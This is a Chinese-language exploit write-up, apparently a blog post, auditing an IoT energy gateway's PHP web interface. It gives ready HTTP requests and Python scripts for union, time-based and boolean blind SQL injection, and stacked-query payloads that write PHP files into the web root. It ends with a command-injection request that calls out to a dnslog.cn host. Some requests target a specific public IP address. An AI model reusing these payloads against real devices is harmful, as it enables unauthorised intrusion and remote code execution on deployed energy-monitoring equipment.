0x01

这一堆实际上都没啥用

image-20240109105735774

$fp参数是不可控的

image-20240109105802646

0x02

这里确实有注入,但是进不去这个条件,我看了数据库里压根就没有key这张表

image-20240109110012993

这里$cipher我们可控,$key要从库里面取,所以这个判断应该是进不去的

if ($cipher == $key)

0x03

这里的$fp实际上也算是不可控的,除非找个文件上传+路径穿越,有这东西了不如试着传马和ssh秘钥

image-20240109113630338

然后我到库看了下这里的parameter_name都没有这些条件,所以不会对$record有啥影响,直接搞就行了,payload往/etc/yuneng/ecuid.conf里放

image-20240109113857403

sql注入-1

看起来是参数不可控的,但这里的时区是可控的,我刚看这个系统的时候被人批量打了很多弹shell的东西

image-20240109120751897

date_default_timezone_set()就是个设置时区的函数,那些人批量打的id >rce.txt这种不知道是啥意思,这里面不能rce吧。

这里很明显的注入了

image-20240109125030821

get_status_zigbee()

image-20240109125054594

status_zigbee()

image-20240109125241187

直接注入

exp

POST /index.php/display/status_zigbee HTTP/1.1
Host: iot.com

date='union select 1,2,sqlite_version()--+

image-20240109132857035

这里也发现一个闭合的小技巧,搜索框用的是模糊查询,所以直接传统的闭合方式会吃掉一个%

image-20240109133156691

补一个就行

image-20240109133234804

sql注入到rce-2

直接注入

image-20240111144616315

找调用的地方

image-20240111144713851

image-20240111144724181

exp

POST /index.php/configuration/set_maxpower HTTP/1.1
Host: 82.64.3.229:8000
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Content-Length: 115

maxpower=21&id=29999999"or (case when(substr(sqlite_version(),1,1)='3' ) then randomblob (3000000) else 0 end )--+
import requests
import time

url="http://1/index.php/configuration/set_maxpower"
headers={

"Host": "1",
"Content-Type": "application/x-www-form-urlencoded",
"Accept-Encoding": "gzip, deflate"
}

charset = ".0123456789"
result = ""
for len in range(1,100):
for char in charset:
print(str(len)+" "+char)
data=f'maxpower=21&id=29999999"or (case when(substr(sqlite_version(),{len},1)=\'{char}\' ) then randomblob (6000000) else 0 end )--+'
start_time = time.time()
response = requests.post(url, data=data,headers=headers)
end_time = time.time()
if end_time - start_time > 4:
result += char
print("Result: ", result)
break

这里只能时间盲注,在调试的时候经常出现问题,所以加了个尝试步骤,看sql语句执行的情况

sqlite展示报错信息

try {
$result = $this->pdo->exec("UPDATE power SET limitedpower=$maxpower,flag=1 WHERE id=\"$id\"");
if ($result === false) {
$errorInfo = $this->pdo->errorInfo();
echo "Error: " . $errorInfo[2]; // 获取错误信息
} else {
echo "Update successful. Rows affected: " . $result;
}
} catch (PDOException $e) {
echo "Error: " . $e->getMessage();
}

经过测试这里是可以堆叠的,那就直接写shell了,前提是得知道绝对路径,但这里写shell是没问题的

exp

http://iot.com/index.php/configuration/set_maxpower

maxpower=21&id=29999999";ATTACH DATABASE 'c://logs//11.php' AS pwn ; CREATE TABLE pwn.exp (dataz text) ; INSERT INTO pwn.exp (dataz) VALUES (' <?php phpinfo(); ?> ');--+

image-20240111145439996

我测试的时候踩了个坑,我直接在蚁剑里面执行的sql语句,只能生成文件,单文件里面没数据,后面发现是那里面不支持堆叠;的写法

sql注入到rce-3

这里直接拼接了变量,要是可控的话我们是可以直接注入的

image-20240111152351160

找到了调用的地方

image-20240111152459988

现在专心看怎么利用

直接POST传入的参数会当做json解析,其中APS要等于ASK

image-20240111152700045

这里需要传入ECUID

image-20240111153129333

随便传入一个数,然后会返回一个ECUID,我们就用这个返回的值

image-20240111153237412

接着满足这三个条件

image-20240111153432320

{"APS":"ASK",
"ECUID":"215000030247",
"Command_Id":"57",
"modbusSwitch":"eee",
"modbusRate":"4444"}

这里直接传就行了,但这里是需要传一个数组进去

image-20240111153856905

exp

{"APS":"ASK",
"ECUID":"215000030247",
"Command_Id":"57",
"modbusSwitch":"eee",
"modbusRate":"4444",
"addrData":[{"id":"33333333';ATTACH DATABASE '/home/local_web/pages/11.php' AS pwn ; CREATE TABLE pwn.exp (dataz text) ; INSERT INTO pwn.exp (dataz) VALUES (' <?php phpinfo(); ?> ');--+","addr":"122"}]}

sql注入到rce-4

注入

image-20240112105635683

这里用的是exec,可以堆叠写马

image-20240112105926757

这里需要是一个数组,我直接传id=[1,2,3,4]这样是不行的,我也好奇,在前面var_dump了一下$ids发现只是个字符串

image-20240112110252270

像tp的注入那样传参就行了

exp

POST /index.php/hidden/set_channel HTTP/1.1
Host: iot.com

id[]=11';ATTACH DATABASE 'C:\\logs\\11.php' AS pwn ; CREATE TABLE pwn.exp (dataz text) ; INSERT INTO pwn.exp (dataz) VALUES (' <?php phpinfo(); ?> ');--

sql注入-5

这里的注入是可以联合查询的,但是结果被处理过了,联合查询的结果带不出来,考虑盲注,这里有回显,可以用布尔盲注

image-20240111171007960

追溯

image-20240111171534227

image-20240111171601522

exp

POST /index.php/hidden/getPowerOnCurrentDay HTTP/1.1
Host: 82.64.3.229:8000
Content-Length: 86
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://82.64.3.229:8000
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://82.64.3.229:8000/index.php/hidden/getPowerOnCurrentDay
Accept-Encoding: gzip, deflate
Connection: close

{"ecuId":"215000030247",
"date":"20230620 and substr(sqlite_version(),1,1)='32'--"
}

脚本

这里的ecuId和date要换成实际存在的

import requests

url ="http://1/index.php/hidden/getPowerOnCurrentDay"


charset = ".0123456789"
result = ""
for len in range(1,100):
for char in charset:
data='{"ecuId":"2150000","date":"20230620 and substr(sqlite_version(),%s,1)=\'%s\'--"}'%(len,char)
resp = requests.post(url,data=data)
if '{"code":1,' in resp.text:
result += char
print(result)
break

注入太多了 不想一个一个看了

image-20240112111245056

rce1

有源码是真的爽

image-20240110102451687

找调用

image-20240110102535267

image-20240110102705324

POST /index.php/hidden/exec_command HTTP/1.1
Host: iot.com

command=ping+%username%.anp436.dnslog.cn